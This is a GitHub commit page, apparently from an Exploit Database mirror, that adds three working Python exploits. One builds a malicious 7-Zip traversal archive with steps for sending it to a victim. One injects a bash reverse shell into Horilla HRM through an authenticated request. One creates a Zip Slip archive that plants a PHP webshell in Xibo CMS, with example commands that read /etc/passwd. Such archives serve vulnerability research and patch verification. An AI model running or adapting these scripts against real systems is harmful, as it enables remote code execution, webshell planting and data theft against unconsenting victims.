Skip to content

Commit 6944eca

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents ec50dea + ec340d8 commit 6944eca

7 files changed

Lines changed: 695 additions & 0 deletions

File tree

exploits/multiple/local/52501.py

Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
# Exploit Title: 7-Zip < 25.00 - Directory Traversal to RCE via Malicious ZIP
2+
# Date: 2025-11-22
3+
# Author: Mohammed Idrees Banyamer
4+
# Author Country: Jordan
5+
# Instagram: @banyamer_security
6+
# GitHub: https://github.com/mbanyamer
7+
# Vendor Homepage: https://www.7-zip.org
8+
# Software Link: https://www.7-zip.org/download.html
9+
# Version: 7-Zip < 25.00
10+
# Tested on: Windows 10 / Windows 11 (7-Zip 24.xx)
11+
# CVE: CVE-2025-11001
12+
# CVSS: 8.8 (High) - draft estimation
13+
# Category: Local Privilege Escalation / Remote Code Execution
14+
# Platform: Windows
15+
# CRITICAL: Yes - Public exploit available, active exploitation reported
16+
# Including: Directory Traversal via crafted symlink entry in ZIP archive
17+
# Impact: Full system compromise when extracting malicious archive with 7-Zip as Administrator
18+
# Fix: Upgrade to 7-Zip 25.00 or later
19+
# Advisory: https://www.7-zip.org/history.txt
20+
# Patch: https://github.com/ip7z/7zip/releases/tag/25.00
21+
# Target: Windows systems running vulnerable 7-Zip versions
22+
23+
import struct
24+
import os
25+
import argparse
26+
import sys
27+
28+
def build_zip(target_path, payload_file, output_zip):
29+
if not os.path.isfile(payload_file):
30+
print(f"[-] Payload file not found: {payload_file}")
31+
sys.exit(1)
32+
33+
payload_name = os.path.basename(payload_file)
34+
payload_data = open(payload_file, "rb").read()
35+
36+
target = target_path.replace("\\", "/").strip("/") + "/"
37+
traversal = "../../../../" + target
38+
39+
with open(output_zip, "wb") as f:
40+
offset = 0
41+
42+
symlink_name = "evil.lnk"
43+
symlink_target = traversal.encode() + b"\x00"
44+
symlink_extra = struct.pack("<HH", 0x756e, len(symlink_target)) + symlink_target
45+
46+
symlink_header = struct.pack("<IHHHHHHIIIHH",
47+
0x04034b50, 20, 0x800, 0x800, 0, 0, 0,
48+
0, 0, 0,
49+
len(symlink_name), len(symlink_extra))
50+
51+
f.write(symlink_header)
52+
f.write(symlink_name.encode())
53+
f.write(symlink_extra)
54+
f.write(b"")
55+
symlink_central_offset = offset
56+
offset += len(symlink_header) + len(symlink_name) + len(symlink_extra)
57+
58+
payload_header = struct.pack("<IHHHHHHIIIHH",
59+
0x04034b50, 20, 0x800, 0, 0, 0,
60+
0, len(payload_data), len(payload_data),
61+
len(payload_name), 0)
62+
63+
f.write(payload_header)
64+
f.write(payload_name.encode())
65+
f.write(payload_data)
66+
payload_central_offset = offset
67+
offset += len(payload_header) + len(payload_name) + len(payload_data)
68+
69+
cd_offset = offset
70+
71+
f.write(struct.pack("<IHHHHHHIIIHHHHHII",
72+
0x02014b50, 0x0317, 20, 0x800, 0, 0, 0,
73+
0, 0, 0,
74+
len(symlink_name), len(symlink_extra), 0, 0, 0, 0o777 << 16 | 0xA1ED, symlink_central_offset))
75+
f.write(symlink_name.encode())
76+
f.write(symlink_extra)
77+
78+
f.write(struct.pack("<IHHHHHHIIIHHHHHII",
79+
0x02014b50, 0x0317, 20, 0x800, 0, 0, 0,
80+
0, len(payload_data), len(payload_data),
81+
len(payload_name), 0, 0, 0, 0, 0o777 << 16, payload_central_offset))
82+
f.write(payload_name.encode())
83+
84+
f.write(struct.pack("<IHHHHIIH",
85+
0x06054b50, 0, 0, 2, 2, offset, cd_offset, 0))
86+
87+
print(f"[+] Malicious archive created: {output_zip}")
88+
print(f"[+] Target path : {target_path}")
89+
print(f"[+] Payload file : {payload_name} ({len(payload_data)} bytes)")
90+
print(f"[+] Final write location : {target_path}\\{payload_name}")
91+
print("\n[*] Usage:")
92+
print(" 1. Send the ZIP file to the victim")
93+
print(" 2. Victim must run 7-Zip < 25.00 as Administrator")
94+
print(" 3. Victim opens and extracts the ZIP → payload dropped silently")
95+
print(" 4. Achievement unlocked")
96+
97+
if __name__ == "__main__":
98+
banner = """
99+
CVE-2025-11001 - 7-Zip Directory Traversal PoC
100+
Author: Mohammed Idrees Banyamer (@banyamer_security)
101+
"""
102+
print(banner)
103+
104+
parser = argparse.ArgumentParser(description="CVE-2025-11001 Exploit - 7-Zip < 25.00")
105+
parser.add_argument("-t", "--target", required=True, help="Target directory (e.g. C:\\Windows\\System32)")
106+
parser.add_argument("-p", "--payload", required=True, help="Payload file to drop (e.g. C:\\Windows\\System32\\calc.exe)")
107+
parser.add_argument("-o", "--output", default="CVE-2025-11001-exploit.zip", help="Output ZIP filename (default: CVE-2025-11001-exploit.zip)")
108+
109+
args = parser.parse_args()
110+
111+
build_zip(args.target, args.payload, args.output)

exploits/multiple/webapps/52497.py

Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
# Exploit Title: Horilla v1.3 - RCE
2+
# Date: 2025-05-29
3+
# Exploit Author: Raghad Abdallah Al-syouf
4+
# Version: <= 1.3
5+
# Tested on: Ubuntu / Docker
6+
# CVE: CVE-2025-48868
7+
8+
9+
Description:
10+
This script exploits the authenticated RCE vulnerability CVE-2025-48868.
11+
It logs into the target web app, creates a project, and sends payloads
12+
to achieve a reverse shell connection to a listener **started manually** by the user.
13+
14+
Usage:
15+
python3 CVE_2025_48868.py --url http[s]://target:port --user username --pass password --lhost YOUR_IP --lport LISTENER_PORT
16+
17+
Example:
18+
python3 CVE_2025_48868.py --url http://127.0.0.1:8000 --user admin --pass admin --lhost 192.168.1.100 --lport 4444
19+
"""
20+
21+
import requests
22+
import time
23+
import sys
24+
import argparse
25+
from bs4 import BeautifulSoup
26+
import urllib3
27+
import random
28+
import string
29+
from datetime import datetime
30+
31+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
32+
33+
def generate_random_title():
34+
letters = ''.join(random.choices(string.ascii_lowercase, k=4))
35+
digits = ''.join(random.choices(string.digits, k=2))
36+
return letters + digits
37+
38+
def main():
39+
print("[+] CVE-2025-48868")
40+
41+
parser = argparse.ArgumentParser(description='Exploit for CVE-2025-48868: Authenticated RCE in Horilla HRM software v1.3. Exploit by:Nakleh Said Zeidan')
42+
parser.add_argument('--url', required=True, help='Target URL, e.g. http://localhost:8000')
43+
parser.add_argument('--user', required=True, help='Username for login')
44+
parser.add_argument('--pass', required=True, dest='password', help='Password for login')
45+
parser.add_argument('--lhost', required=True, help='Attacker IP (listener must be started manually)')
46+
parser.add_argument('--lport', required=True, type=int, help='Attacker port (listener must be started manually)')
47+
48+
args = parser.parse_args()
49+
50+
base_url = args.url.rstrip('/')
51+
login_url = f"{base_url}/login/"
52+
project_url = f"{base_url}/project/project-bulk-archive"
53+
session = requests.Session()
54+
headers = {
55+
"User-Agent": "Mozilla/5.0",
56+
"X-Requested-With": "XMLHttpRequest"
57+
}
58+
59+
print("[+] Getting login page...")
60+
login_page = session.get(login_url, headers=headers, verify=False)
61+
if login_page.status_code != 200:
62+
print(f"[-] Failed to load login page, status {login_page.status_code}")
63+
sys.exit(1)
64+
65+
soup = BeautifulSoup(login_page.text, 'html.parser')
66+
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
67+
68+
login_data = {
69+
"username": args.user,
70+
"password": args.password,
71+
"csrfmiddlewaretoken": csrf_token
72+
}
73+
74+
print("[+] Logging in...")
75+
login_resp = session.post(login_url, data=login_data, headers=headers, verify=False)
76+
if login_resp.status_code != 200 or "logout" not in login_resp.text.lower():
77+
print("[-] Login failed")
78+
sys.exit(1)
79+
print("[+] Logged in successfully!")
80+
81+
project_view_url = f"{base_url}/project/project-view/"
82+
project_view = session.get(project_view_url, headers=headers, verify=False)
83+
soup = BeautifulSoup(project_view.text, 'html.parser')
84+
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
85+
86+
print("[+] Creating project...")
87+
create_project_url = f"{base_url}/project/create-project?"
88+
today_str = datetime.now().strftime("%Y-%m-%d")
89+
random_title = generate_random_title()
90+
multipart_data = {
91+
"is_active": "on",
92+
"title": random_title,
93+
"managers": "1",
94+
"members": "1",
95+
"status": "new",
96+
"start_date": today_str,
97+
"end_date": today_str,
98+
"description": "Exploit project"
99+
}
100+
101+
create_headers = {
102+
"User-Agent": "Mozilla/5.0",
103+
"Accept": "*/*",
104+
"Referer": project_view_url,
105+
"HX-Request": "true",
106+
"HX-Trigger": "hlvd701Form",
107+
"HX-Target": "hlvd701Form",
108+
"HX-Current-URL": project_view_url,
109+
"X-CSRFToken": csrf_token,
110+
"Origin": base_url,
111+
"DNT": "1",
112+
"Connection": "keep-alive",
113+
}
114+
115+
create_resp = session.post(create_project_url, data=multipart_data, headers=create_headers, verify=False)
116+
if create_resp.status_code == 200:
117+
print(f"[+] Project created successfully with title: {random_title}")
118+
else:
119+
print(f"[-] Project creation may have failed (status {create_resp.status_code}), continuing anyway...")
120+
121+
headers["Referer"] = project_view_url
122+
headers["Origin"] = base_url
123+
headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
124+
125+
print("[*] Ensure your listener is running: `nc -lvnp {}`".format(args.lport))
126+
print("[+] Sending payload...")
127+
128+
i = 1
129+
while True:
130+
encoded_ids = f"%5B%22{i}%22%5D"
131+
payload = f"__import__('os').system('bash+-c+\"bash+-i+>%26+/dev/tcp/{args.lhost}/{args.lport}+0>%261\"')"
132+
exploit_url = f"{project_url}?is_active={payload}"
133+
data = f"csrfmiddlewaretoken={csrf_token}&ids={encoded_ids}"
134+
response = session.post(exploit_url, headers=headers, data=data, verify=False)
135+
136+
if response.status_code == 200:
137+
print(f"[+] Payload sent for project id {i}. Waiting for shell...")
138+
else:
139+
print(f"[-] Error sending payload for project id {i} (status {response.status_code})")
140+
141+
time.sleep(3)
142+
i += 1
143+
144+
if __name__ == "__main__":
145+
main()

exploits/multiple/webapps/52500.py

Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
# Exploit Title: XiboCMS 3.3.4- Remote Code Execution
2+
# Google Dork: N/A
3+
# Date: 2025-11-18
4+
# Exploit Author: complexusprada
5+
# Vendor Homepage: https://xibo.org.uk/
6+
# Software Link: https://github.com/xibosignage/xibo-cms
7+
# Version: 1.8.0 - 2.3.16, 3.0.0 - 3.3.4
8+
# Tested on: Ubuntu Linux (Docker), Xibo CMS 3.3.4
9+
# CVE: CVE-2023-33177
10+
# GHSA: GHSA-jj27-x85q-crqv
11+
# Category: webapps
12+
13+
"""
14+
# Vulnerability Description:
15+
# Xibo CMS contains a path traversal vulnerability (Zip Slip) in the layout import
16+
# functionality. The application fails to properly validate file paths in the mapping.json
17+
# file within uploaded ZIP archives, allowing authenticated attackers to write files
18+
# outside the intended library directory using path traversal sequences (../../).
19+
# This results in arbitrary file upload and remote code execution.
20+
21+
# Exploitation Details:
22+
# 1. Attacker creates a malicious ZIP file containing a valid Xibo layout structure
23+
# 2. The mapping.json file contains a path traversal payload (../../web/shell.php)
24+
# 3. A PHP webshell is placed at the corresponding path within the ZIP structure
25+
# 4. When the layout is imported, Xibo extracts files without proper path validation
26+
# 5. The webshell is written to the web root (/var/www/cms/web/shell.php)
27+
# 6. Attacker gains remote code execution via the webshell
28+
29+
# Vulnerability Chain:
30+
# ZIP contains: library/../../web/shell.php
31+
# Mapping.json: {"file": "../../web/shell.php", ...}
32+
# Xibo reads: library/ + ../../web/shell.php
33+
# Xibo writes: /var/www/cms/library/temp/ + ../../web/shell.php
34+
# Result: /var/www/cms/web/shell.php (webshell in web root!)
35+
36+
# Prerequisites:
37+
# - Valid Xibo CMS credentials (any authenticated user with layout import permission)
38+
# - Xibo CMS versions 1.8.0 - 2.3.16 or 3.0.0 - 3.3.4
39+
40+
# Exploitation Steps:
41+
# 1. Run this script to generate exploit.zip
42+
# 2. Log in to Xibo CMS
43+
# 3. Navigate to: Design → Layouts → Import
44+
# 4. Upload the generated exploit.zip file
45+
# 5. Even if JSON errors occur, the webshell has been written to disk
46+
# 6. Access webshell at: http://<target>/shell.php?cmd=<command>
47+
# Example: curl 'http://target/shell.php?cmd=id'
48+
49+
# Mitigation:
50+
# Upgrade to patched versions:
51+
# - Xibo CMS 2.3.17+ (for 2.x branch)
52+
# - Xibo CMS 3.3.5+ (for 3.x branch)
53+
54+
# Disclaimer:
55+
# This exploit is provided for educational purposes, authorized penetration testing,
56+
# and vulnerability research only. Only use against systems you own or have explicit
57+
# written permission to test.
58+
"""
59+
60+
import zipfile
61+
import json
62+
import sys
63+
64+
def create_exploit():
65+
"""Generate the malicious ZIP file for Xibo CMS RCE exploit"""
66+
67+
print("[*] Xibo CMS Zip Slip RCE Exploit Generator")
68+
print("[*] CVE-2023-33177 - Path Traversal via Layout Import")
69+
print("[*] Affected: Xibo CMS 1.8.0-2.3.16, 3.0.0-3.3.4\n")
70+
71+
# Valid Xibo 3.0 layout structure
72+
# This ensures the ZIP passes initial validation checks
73+
layout_json = {
74+
"layout": "Exploit Layout",
75+
"description": "Path Traversal Test",
76+
"layoutDefinitions": {
77+
"schemaVersion": 3,
78+
"width": 1920,
79+
"height": 1080,
80+
"backgroundColor": "#000000",
81+
"backgroundzIndex": 0,
82+
"code": "CVE-2023-33177",
83+
"actions": [],
84+
"regions": [],
85+
"drawers": []
86+
}
87+
}
88+
89+
# Empty playlist - triggers JSON import code path
90+
playlist_json = {}
91+
92+
# VULNERABILITY: Path traversal in mapping.json
93+
# The 'file' field is not properly sanitized before file extraction
94+
# Xibo constructs the extraction path as: library/temp/ + file['file']
95+
# Using ../../ allows escaping the library directory
96+
mapping_json = [{
97+
"file": "../../web/shell.php", # Path traversal payload
98+
"name": "shell.php",
99+
"type": "module"
100+
}]
101+
102+
# Simple PHP webshell for command execution
103+
# Accepts commands via GET parameter: ?cmd=<command>
104+
webshell = b'<?php system($_GET["cmd"]); ?>'
105+
106+
# Create the malicious ZIP file
107+
try:
108+
with zipfile.ZipFile('exploit.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
109+
# Add required Xibo layout files
110+
zf.writestr('layout.json', json.dumps(layout_json, indent=2))
111+
zf.writestr('playlist.json', json.dumps(playlist_json))
112+
zf.writestr('mapping.json', json.dumps(mapping_json))
113+
114+
# CRITICAL: The file path in the ZIP must match what Xibo expects
115+
# Xibo calls: $zip->getStream('library/' . $file['file'])
116+
# Therefore we place the file at: library/../../web/shell.php
117+
zf.writestr('library/../../web/shell.php', webshell)
118+
119+
print("[+] Exploit ZIP created successfully: exploit.zip")
120+
print("\n[*] Exploitation Steps:")
121+
print(" 1. Log in to Xibo CMS with valid credentials")
122+
print(" 2. Navigate to: Design → Layouts → Import")
123+
print(" 3. Upload exploit.zip")
124+
print(" 4. Ignore any JSON errors (file is already written)")
125+
print(" 5. Access webshell: http://<target>/shell.php?cmd=<command>")
126+
print("\n[*] Example:")
127+
print(" curl 'http://target/shell.php?cmd=id'")
128+
print(" curl 'http://target/shell.php?cmd=cat%20/etc/passwd'")
129+
print()
130+
131+
except Exception as e:
132+
print(f"[-] Error creating exploit: {e}", file=sys.stderr)
133+
sys.exit(1)
134+
135+
if __name__ == "__main__":
136+
create_exploit()

0 commit comments

Comments
 (0)